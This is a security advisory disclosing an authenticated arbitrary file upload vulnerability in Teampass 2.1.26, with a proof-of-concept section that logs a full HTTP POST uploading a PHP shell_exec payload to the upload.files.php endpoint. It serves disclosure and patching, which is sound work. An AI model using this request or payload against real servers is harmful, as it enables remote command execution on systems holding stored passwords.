Teampass 2.1.26 Arbitrary File Upload
Posted on 06 July 2016
Document Title: =============== Teampass 2.1.26 - Authenticated File Upload Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1866 Release Date: ============= 2016-07-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1866 Common Vulnerability Scoring System: ==================================== 7.2 Product & Service Introduction: =============================== TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP. It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords access depending on the user’s role. (Copy of the Homepage: http://teampass.net/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a file upload vulnerability in the official Teampass v2.1.26 web-application. Vulnerability Disclosure Timeline: ================================== 2016-07-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A file upload vulnerability has been discovered in the official Teampass v2.1.26 web-application. The vulnerability allows authenticated users with low privileged accounts to upload files to the /files directory in the webroot. There are no filters present which checks the file extensions or contents for the files. Proof of Concept (PoC): ======================= Any authenticated user can upload files to the /files directory in the webroot, even low privileged users with only read-only rights can exploit this vulnerability. Files can be uploaded by visiting http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php and content can be inserted with a POST request. --- PoC Session Logs [POST] --- Status: 200[OK] POST http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php Request Header: Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: 157b783184cb1aa6ce3495511a879057e70d3f561f2c8d47d6=e7ea2ef5da03812806df888810bd2c671a8b8ec4b6e8e3e673; KEY_PHPSESSID=P4khaxdq8UTAwyOcJX5qnUYdytv6y%2BVGpcvHwunzTVQ%3D%3A3VQCIK2PC1Sa703MrzE6M%2BUFe4IpAM6AtGPUkqtMsag%3D; PHPSESSID=9q68v86v6k62l224m0419024k6; jstree_select=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 36 If-Modified-Since: * POST DATA: <?php echo shell_exec('uname -a');?> The file will be placed in the /files directory which is http://localhost/TeamPass/files/poc.php in the PoC above. Solution - Fix & Patch: ======================= Update to the latest Teampass version (2.1.26/4). Security Risk: ============== Thanks to this vulnerability it is possible to upload a shell and execute commands with the priveleges of the webserver process. (CVSS 7.2) Credits & Authors: ================== Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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